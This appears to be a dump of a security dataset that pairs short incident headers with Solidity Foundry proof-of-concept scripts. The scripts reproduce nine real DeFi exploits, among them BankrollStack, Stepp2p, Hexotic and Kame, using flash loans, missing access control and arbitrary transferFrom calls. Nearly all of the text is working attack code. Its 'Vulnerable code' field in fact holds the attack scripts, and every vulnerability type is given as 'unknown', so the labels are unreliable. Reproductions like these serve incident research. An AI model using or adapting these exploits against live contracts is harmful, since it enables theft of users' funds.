Farseen0/scar-pairs huggingface dataset:
HIGH severity: BankrollStack exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : 5k USD Attacker : https://bscscan.com/address/0x172dca3e72e4643ce8b7932f4947347c1e49ba6d Attack Contract : 0x92c56dd0c9eee1da9f68f6e0f70c4a77de7b2b3c Vulnerable Contract : 0x16d0a151297a0393915239373897bCc955882110 Attack Tx : https://bscsc

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "../basetest.sol";
import "../interface.sol";


// @KeyInfo - Total Lost : 5k USD
// Attacker : https://bscscan.com/address/0x172dca3e72e4643ce8b7932f4947347c1e49ba6d
// Attack Contract : 0x92c56dd0c9eee1da9f68f6e0f70c4a77de7b2b3c
// Vulnerable Contract : 0x16d0a151297a0393915239373897bCc955882110
// Attack Tx : https://bscscan.com/tx/0x0706425beba4b3f28d5a8af8be26287aa412d076828ec73d8003445c087af5fd

// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0x16d0a151297a0393915239373897bCc955882110#code

// @Analysis
// Post-mortem : https://x.com/Phalcon_xyz/status/1943518566831296566
// Twitter Guy : https://x.com/TenArmorAlert/status/1935618109802459464
// Hacking God : https://x.com/Phalcon_xyz/status/1943518566831296566
pragma solidity ^0.8.0;

contract Bankrollstack is BaseTestWithBalanceLog {
    uint256 blocknumToForkFrom = 51698204 - 1;
    uint256 flashAmount = 28300000000000000000000;

    //contracts
    address constant BUSD = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56;
    address constant PancakeV3Pool = 0x4f3126d5DE26413AbDCF6948943FB9D0847d9818;
    address constant BankrollStack = 0x16d0a151297a0393915239373897bCc955882110; 

    function setUp() public {
        vm.createSelectFork("bsc", blocknumToForkFrom);
        fundingToken = address(BUSD);
    }

    function testExploit() public balanceLog {
        IPancakeV3Pool(PancakeV3Pool).flash(address(this), 0, flashAmount, "0x00");  
    }

    function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
        
        uint256 buyAmount = IERC20(BUSD).balanceOf(address(this));
        uint256 repayAmount = 28302830000000000000000;

        IERC20(BUSD).approve(address(BankrollStack), type(uint256).max);

        IBankrollStack(BankrollStack).buy(buyAmount);
        uint256 myTokens  = IBankrollStack(BankrollStack).myTokens();
        IBankrollStack(BankrollStack).sell(myTokens);
        IBankrollStack(BankrollStack).withdraw();
        IERC20(BUSD).transfer(address(PancakeV3Pool), repayAmount);
    }
}

interface IBankrollStack {
	function donatePool(uint256 tokenAmount) external;     
	function buy(uint256 tokenAmount) external returns (uint256);
	function sell(uint256 tokenAmount) external;
	function myTokens() external view returns (uint256);
	function myDividends() external view returns (uint256);
	function withdraw() external;
}



Vulnerability type: unknown
HIGH severity: Gangsterfinance exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : 16.5k USD Attacker : https://bscscan.com/address/0xc49f2938327aa2cdc3f2f89ed17b54b3671f05de Attack Contract : https://bscscan.com/address/0x982769c5e5dd77f8308e3cd6eec37da9d8237dc6 Created Attack Contract: https://bscscan.com/address/0x268D

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "../basetest.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : 16.5k USD
// Attacker : https://bscscan.com/address/0xc49f2938327aa2cdc3f2f89ed17b54b3671f05de
// Attack Contract : https://bscscan.com/address/0x982769c5e5dd77f8308e3cd6eec37da9d8237dc6
// Created Attack Contract: https://bscscan.com/address/0x268D1581a34FB63dC46C92f07cB0D739517ca51C
// Vulnerable Contract : https://bscscan.com/address/0xe968d2e4adc89609773571301abec3399d163c3b
// Attack Tx : https://bscscan.com/tx/0xf34e59e4fe2c9b454d2b73a1a3f3aaf07d484a0c71ff8278b1c068cdedc4b64d

// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0xe968d2e4adc89609773571301abec3399d163c3b#code

// @Analysis
// Post-mortem : N/A
// Twitter Guy : N/A
// Hacking God : N/A
pragma solidity ^0.8.0;

contract Gangsterfinance is BaseTestWithBalanceLog {
    uint256 blocknumToForkFrom = 51782713 - 1;
    uint256 borrowAmount = 1020000000000000000;
    
    // Relevant contracts 
    address constant BTCB = 0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c;
    address constant CAKE_LP = 0x0b32Ea94DA1F6679b11686eAD47AA4C6bF38cd59;
    address constant TOKEN_VAULT = 0xe968D2E4ADc89609773571301aBeC3399D163c3b;


    function setUp() public {
        vm.createSelectFork("bsc", blocknumToForkFrom);
        //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
        fundingToken = address(BTCB);
    }

    function testExploit() public balanceLog {
        IUniswapV2Pair(CAKE_LP).swap(borrowAmount, 0, address(this), new bytes(1));
    }

    function pancakeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {
        
        uint256 donateAmount = 1000000000000000000;
        uint256 depositAmount = 15720000000000000; 
        uint256 repayAmount = 1022652000000000000;

        IERC20(BTCB).approve(address(TOKEN_VAULT), borrowAmount);

        ITokenVault(TOKEN_VAULT).donate(donateAmount);
        ITokenVault(TOKEN_VAULT).depositTo(address(this), depositAmount);
        ITokenVault(TOKEN_VAULT).resolve(ITokenVault(TOKEN_VAULT).myTokens());
        ITokenVault(TOKEN_VAULT).harvest();
        IERC20(BTCB).transfer(address(CAKE_LP), repayAmount);
    }
}

interface ITokenVault {
    
    function donate(uint256 _amount) external;
    function depositTo(address _user, uint256 _amount) external;
    function resolve(uint256 _amount) external;
    function harvest() external;
    function myTokens() external view returns (uint256);
}



Vulnerability type: unknown
HIGH severity: Stead exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : 14.5k USD Attacker : https://arbiscan.io/address/0x5fb0b8584b34e56e386941a65dbe455ad43c5a23 Attack Contract : N/A Vulnerable Contract : https://arbiscan.io/address/0xf9FF933f51bA180a474634440a406c95DfB27596 Attack Tx : https://arbiscan.io/t

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "../basetest.sol";

// @KeyInfo - Total Lost : 14.5k USD
// Attacker : https://arbiscan.io/address/0x5fb0b8584b34e56e386941a65dbe455ad43c5a23
// Attack Contract : N/A
// Vulnerable Contract : https://arbiscan.io/address/0xf9FF933f51bA180a474634440a406c95DfB27596
// Attack Tx : https://arbiscan.io/tx/0x32dbfce2253002498cd41a2d79e249250f92673bc3de652f3919591ee26e8001

// @Info
// Vulnerable Contract Code : https://arbiscan.io/address/0xf9FF933f51bA180a474634440a406c95DfB27596#code

// @Analysis
// Post-mortem : N/A
// Twitter Guy : https://x.com/TenArmorAlert/status/1939508301596672036
// Hacking God : N/A
pragma solidity ^0.8.0;

address constant STEAD = 0x42F4e5Fcd12D59e879dbcB908c76032a4fb0303b;
address constant VICTIM = 0xf9FF933f51bA180a474634440a406c95DfB27596;

contract Contractf9ff is BaseTestWithBalanceLog {
    uint256 blocknumToForkFrom = 352509408 - 1;

    function setUp() public {
        vm.createSelectFork("arbitrum", blocknumToForkFrom);
        fundingToken = STEAD;
    }

    function testExploit() public balanceLog {
        // The contract 0xf9ff lacks proper access control, allowing any to drain STEAD tokens from the contract.
        bytes4 selector = 0x16fb27ce;
        (bool success, ) = VICTIM.call(abi.encodePacked(selector, abi.encode(1, 1, 1)));
        require(success, "Call failed");
    }
}


Vulnerability type: unknown
HIGH severity: MulticallWithETH exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~10 K usdt Original Attacker : https://bscscan.com/address/0x726fb298168c89d5dce9a578668ab156c7e7be67 Attack Contract : https://bscscan.com/address/0x756d614e3d277baea260f64cc2ab9a3ac89877d3 Vulnerable Contract: https://bscscan.com/address/

Vulnerable code:
//  SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;


import "forge-std/Test.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : ~10 K usdt
// Original Attacker : https://bscscan.com/address/0x726fb298168c89d5dce9a578668ab156c7e7be67
// Attack Contract : https://bscscan.com/address/0x756d614e3d277baea260f64cc2ab9a3ac89877d3
// Vulnerable Contract: https://bscscan.com/address/0x3da0f00d5c4e544924bc7282e18497c4a4c92046
// Attack Tx : https://bscscan.com/tx/0x6da7be6edf3176c7c4b15064937ee7148031f92a4b72043ae80a2b3403ab6302



contract MulticallWithETH is Test {
    address USDC = 0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d;
    address victim=0x3DA0F00d5c4E544924bC7282E18497C4A4c92046;

         struct Call {
                address target;
                bytes callData;
                uint256 value;
                bool allowFailure;
            }
            

    function setUp() public {
        vm.createSelectFork("bsc", 55371342);
    }

    function testExploit() public {
      bytes memory data=abi.encodeWithSelector(0x23b872dd,address(0xfb0De204791110Caa5535aeDf4E71dF5bA68A581),address(this),IERC20(USDC).balanceOf(address(0xfb0De204791110Caa5535aeDf4E71dF5bA68A581)));
            Call[] memory call = new Call[](1);
            call[0] = Call({
                target: address(USDC),
                callData: data,
                value: 0,
                allowFailure: false
            });


         
        address(victim).call(abi.encodeWithSelector(0xc9586258, call));

        emit log_named_decimal_uint("Balance after the attack",IERC20(USDC).balanceOf(address(this)), 18);
    }


}



Vulnerability type: unknown
HIGH severity: Stepp2p exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : 43k USD Attacker : https://bscscan.com/address/0xd7235d08a48cbd3f63b9faa16130f2fdb50b2341 Attack Contract : https://bscscan.com/address/0x399eff46b7d458575ebbbb572098e62e38f3c993 Vulnerable Contract : https://bscscan.com/address/0x99855380e

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "../basetest.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : 43k USD
// Attacker : https://bscscan.com/address/0xd7235d08a48cbd3f63b9faa16130f2fdb50b2341
// Attack Contract : https://bscscan.com/address/0x399eff46b7d458575ebbbb572098e62e38f3c993
// Vulnerable Contract : https://bscscan.com/address/0x99855380e5f48db0a6babeae312b80885a816dce
// Attack Tx : https://bscscan.com/tx/0xe94752783519da14315d47cde34da55496c39546813ef4624c94825e2d69c6a8

// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0x99855380e5f48db0a6babeae312b80885a816dce#code

// @Analysis
// Post-mortem : N/A
// Twitter Guy : https://x.com/TenArmorAlert/status/1946887946877149520
// Hacking God : N/A
pragma solidity ^0.8.0;

address constant PANCAKE_V3_USDC_USDT = 0x4f31Fa980a675570939B737Ebdde0471a4Be40Eb;
address constant STEPP2P = 0x99855380E5f48Db0a6BABeAe312B80885a816DCe;
address constant BSC_USD = 0x55d398326f99059fF775485246999027B3197955;

contract Stepp2p is BaseTestWithBalanceLog {
    uint256 blocknumToForkFrom = 54653987 - 1;

    function setUp() public {
        vm.createSelectFork("bsc", blocknumToForkFrom);
        //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
        fundingToken = BSC_USD;
    }

    function testExploit() public balanceLog {
        //implement exploit code here
        bytes memory data = "0x623269464a7178";
        IPancakeV3PoolActions(PANCAKE_V3_USDC_USDT).flash(address(this), 50_000 ether, 0, data);
    }

    function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) public {
        uint256 amount = IERC20(BSC_USD).balanceOf(STEPP2P);

        IERC20(BSC_USD).approve(STEPP2P, amount);
        uint256 saleId = IStepp2p(STEPP2P).createSaleOrder(amount);
        // cancelSaleOrder + modifySaleOrder on same saleId both transfer funds — results in double spend.
        IStepp2p(STEPP2P).cancelSaleOrder(saleId);
        IStepp2p(STEPP2P).modifySaleOrder(saleId, amount, false);

        IERC20(BSC_USD).transfer(PANCAKE_V3_USDC_USDT, 50_000 ether + fee0);
    }
}

interface IStepp2p {
    function createSaleOrder(uint256 _amount) external returns (uint256);
    function cancelSaleOrder(uint256 _saleId) external;
    function modifySaleOrder(uint256 _saleId, uint256 _modifyAmount, bool isPostive) external;
}


Vulnerability type: unknown
HIGH severity: 0x8d2e exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : 40k USDC Attacker : https://basescan.org/address/0x4efd5f0749b1b91afdcd2ecf464210db733150e0 Attack Contract : https://basescan.org/address/0x2a59ac31c58327efcbf83cc5a52fae1b24a81440 Vulnerable Contract : https://basescan.org/address/0x8d2Ef

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "../basetest.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : 40k USDC
// Attacker : https://basescan.org/address/0x4efd5f0749b1b91afdcd2ecf464210db733150e0
// Attack Contract : https://basescan.org/address/0x2a59ac31c58327efcbf83cc5a52fae1b24a81440
// Vulnerable Contract : https://basescan.org/address/0x8d2Ef0d39A438C3601112AE21701819E13c41288
// Attack Tx : https://basescan.org/tx/0x6be0c4b5414883a933639c136971026977df4737b061f864a4a04e4bd7f07106

// @Info
// Vulnerable Contract Code : https://basescan.org/address/0x8d2Ef0d39A438C3601112AE21701819E13c41288#code

// @Analysis
// Post-mortem : N/A
// Twitter Guy : https://x.com/TenArmorAlert/status/1958354933247590450
// Hacking God : N/A
pragma solidity ^0.8.0;

address constant USDC_ADDR = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;
address constant VICTIM = 0x8d2Ef0d39A438C3601112AE21701819E13c41288;

contract Contract0x8d2e is BaseTestWithBalanceLog {
    uint256 blocknumToForkFrom = 34459414 - 1;

    function setUp() public {
        vm.createSelectFork("base", blocknumToForkFrom);
        fundingToken = USDC_ADDR;
    }

    function testExploit() public balanceLog {
        uint256 balance = IERC20(USDC_ADDR).balanceOf(VICTIM);
        bytes memory data= abi.encode(USDC_ADDR, address(this));
        // The victim contract (0x8d2e) lacks access control in its uniswapV3SwapCallback function.
        // As a result, it transfers all USDC to the address specified in the parameters.
        IVictim(VICTIM).uniswapV3SwapCallback(int256(balance), 0, data);
    }
}

interface IVictim {
    function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external;
}


Vulnerability type: unknown
HIGH severity: 0xf340 exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : 4k USD Attacker : https://etherscan.io/address/0xda97a086fc74b20c88bd71e12e365027e9ec2d24 Attack Contract : https://etherscan.io/address/0xd76c5305d0672ce5a2cdd1e8419b900410ea1d36 Vulnerable Contract : https://etherscan.io/address/0xf340bd3

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "../basetest.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : 4k USD
// Attacker : https://etherscan.io/address/0xda97a086fc74b20c88bd71e12e365027e9ec2d24
// Attack Contract : https://etherscan.io/address/0xd76c5305d0672ce5a2cdd1e8419b900410ea1d36
// Vulnerable Contract : https://etherscan.io/address/0xf340bd3eb3e82994cff5b8c3493245edbce63436
// Attack Tx : https://etherscan.io/tx/0x103b4550a1a2bdb73e3cb5ea484880cd8bed7e4842ecdd18ed81bf67ed19e03c

// @Info
// Vulnerable Contract Code : https://etherscan.io/address/0xf340bd3eb3e82994cff5b8c3493245edbce63436#code

// @Analysis
// Post-mortem : https://t.me/defimon_alerts/1733
// Twitter Guy : N/A
// Hacking God : https://t.me/defimon_alerts/1733

contract Contract0xf340 is BaseTestWithBalanceLog {
    uint256 blocknumToForkFrom = 23232613 - 1;

    IWETH weth = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
    IERC20 link = IERC20(0x514910771AF9Ca656af840dff83E8264EcF986CA);
    Ivictim victim = Ivictim(0xF340bd3eB3E82994CfF5B8C3493245EDbcE63436);
    IUniswapV2Router router = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));

    function setUp() public {
        vm.createSelectFork("mainnet", blocknumToForkFrom);
        fundingToken = address(0);
    }

    function testExploit() public balanceLog {

       //The victim contract (0xf340) lacks access control in its initVRF function allowing
       //an attacker to set an address into storage and calling the function 0x607d60e6 with 
       //a 0 ether value which transfers LINK to that address set by the attacker.
       victim.initVRF(address(this), address(link));

       uint256 slot = 0 ether;
       for (uint256 i = 0; i < 80; i++) {
        (bool success, ) = address(victim).call(
            abi.encodeWithSelector(
                bytes4(0x607d60e6),
                slot
            )
        );
        require(success, "call failed");
       }

       uint256 attackerLinkBal = link.balanceOf(address(this));
       link.approve(address(router), attackerLinkBal);

       address[] memory path = new address[](2);
       path[0] = address(link);
       path[1] = address(weth);
       router.swapExactTokensForETH(attackerLinkBal, 1, path, address(this), block.timestamp + 300);


    }

    fallback() external payable {}
}

    interface Ivictim {
        function initVRF(address arg0, address arg1) external;


    }



Vulnerability type: unknown
HIGH severity: Hexotic exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : 500 USD Attacker : https://etherscan.io/address/0x07185a9e74f8dceb7d6487400e4009ff76d1af46 Attack Contract : https://etherscan.io/address/0x6e0113c4f1de65b98381baa6443b20834b70d4c5 Vulnerable Contract : https://arbiscan.io/address/0x03339ec

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "../basetest.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : 500 USD
// Attacker : https://etherscan.io/address/0x07185a9e74f8dceb7d6487400e4009ff76d1af46
// Attack Contract : https://etherscan.io/address/0x6e0113c4f1de65b98381baa6443b20834b70d4c5
// Vulnerable Contract : https://arbiscan.io/address/0x03339ecae41bc162dacae5c2a275c8f64d6c80a0
// Attack Tx : https://etherscan.io/tx/0x23b69bef57656f493548a5373300f7557777f352ade8131353ff87a1b27e2bb3

// @Info
// Vulnerable Contract Code : https://arbiscan.io/address/0x03339ecae41bc162dacae5c2a275c8f64d6c80a0#code

// @Analysis
// Post-mortem : https://t.me/defimon_alerts/1757
// Twitter Guy : N/A
// Hacking God : N/A

interface IHexotic {
    function take(bytes32 id) external payable;
}

contract Hex is BaseTestWithBalanceLog {
    uint256 blocknumToForkFrom = 23260641 - 1;

    //address
    address constant uniswapV3HEXPool = 0x9e0905249CeEFfFB9605E034b534544684A58BE6;
    IWETH constant WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
    IERC20 constant hexToken = IERC20(0x2b591e99afE9f32eAA6214f7B7629768c40Eeb39);
    // The address of the vulnerable 'Hexotic' contract.
    IHexotic hexotic = IHexotic(0x204B937FEaEc333E9e6d72D35f1D131f187ECeA1);
    
    function setUp() public {
        vm.createSelectFork("mainnet", blocknumToForkFrom);
        //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
        fundingToken = address(0);
    }

    function testExploit() public balanceLog {
        //// Fund the test contract with 0.1 ETH to pay for gas and initial transactions.
        vm.deal(address(this), 0.1 ether);
        WETH.deposit{value: 0.037 ether}();
        
        // Initiate a flash swap on the HEX Uniswap V3 Pool.
        IPancakeV3Pool(uniswapV3HEXPool).swap(address(this),false,37000000000000000,1461446703485210103287273052203988822378723970341,"0x00");

        hexToken.approve(address(hexotic), type(uint256).max);
        
        // Call the 'take' function on the vulnerable contract twice with specific IDs.
        // This is the core of the exploit. It leverages a vulnerability in the 'hexotic' contract
        // using the flash-loaned HEX tokens to extract value.
        hexotic.take(0x0000000000000000000000000000000000000000000000000000000000000043);
        hexotic.take(0x000000000000000000000000000000000000000000000000000000000000002b);    
    }
    receive() external payable {}

     function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata /*_data*/) external {
        WETH.transfer(address(uniswapV3HEXPool), 37000000000000000);
    }
}

Vulnerability type: unknown
HIGH severity: Kame exploit (unknown). SPDX-License-Identifier: UNLICENSED

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "../basetest.sol";

interface IAggregationRouter {
    struct SwapParams {
        address srcToken;
        address dstToken;
        uint256 amount;
        address payable executor;
        bytes executeParams;
        bytes extraData;
    }

    function swap(
        SwapParams calldata params
    ) external payable returns (uint256 returnAmount);

    event Swapped(address srcToken, address dstToken, uint256 amount, uint256 returnAmount, bytes extraData);
}

// @KeyInfo - Total Lost : 18167.880000 USD
// Attacker : https://seiscan.io//address/0xd43d0660601e613f9097d5c75cd04ee0c19e6f65
// Attack Contract : N/A
// Vulnerable Contract : https://seiscan.io//address/0x14bb98581ac1f1a43fd148db7d7d793308dc4d80
// Attack Tx : https://seiscan.io//tx/0x6150ec6b2b1b46d1bcba0cab9c3a77b5bca218fd1cdaad1ddc7a916e4ce792ec

// @Info
// Vulnerable Contract Code : https://seiscan.io//address/0x14bb98581ac1f1a43fd148db7d7d793308dc4d80#code

// @Analysis
// Post-mortem : N/A
// Twitter Guy : https://x.com/SupremacyHQ/status/1966909841483636849
// Hacking God : N/A
pragma solidity ^0.8.0;

contract Kame is BaseTestWithBalanceLog {
    uint256 blocknumToForkFrom = 167_791_783 - 1;

    address USDC = 0xe15fC38F6D8c56aF07bbCBe3BAf5708A2Bf42392;
    address syUSD = 0x059A6b0bA116c63191182a0956cF697d0d2213eC;

    //User with approval to the vulnerable contract
    address targetToTakeFrom = 0x9A9F47F38276f7F7618Aa50Ba94B49693293Ab50;
    IAggregationRouter router = IAggregationRouter(0x14bb98581Ac1F1a43fD148db7d7D793308Dc4d80);

    function setUp() public {
        vm.createSelectFork("sei", blocknumToForkFrom);
        fundingToken = USDC;
    }

    function createSwapParams(
        address tokenToUseInSwap,
        address tokenToPull,
        address targetUser
    ) internal returns (IAggregationRouter.SwapParams memory) {
        IAggregationRouter.SwapParams memory params;
        params.srcToken = tokenToUseInSwap;
        params.dstToken = tokenToUseInSwap;
        params.amount = 0;
        params.executor = payable(tokenToPull);
        //Create a transferfrom call to usdc to the router
        params.executeParams = abi.encodeWithSignature(
            "transferFrom(address,address,uint256)",
            targetUser,
            address(this),
            //targetUser's full balance of tokentopull
            TokenHelper.getTokenBalance(tokenToPull, targetUser)
        );
        params.extraData = hex"01";
        return params;
    }

    function testExploit() public balanceLog {
        router.swap(createSwapParams(syUSD, USDC, targetToTakeFrom));
    }
}


Vulnerability type: unknown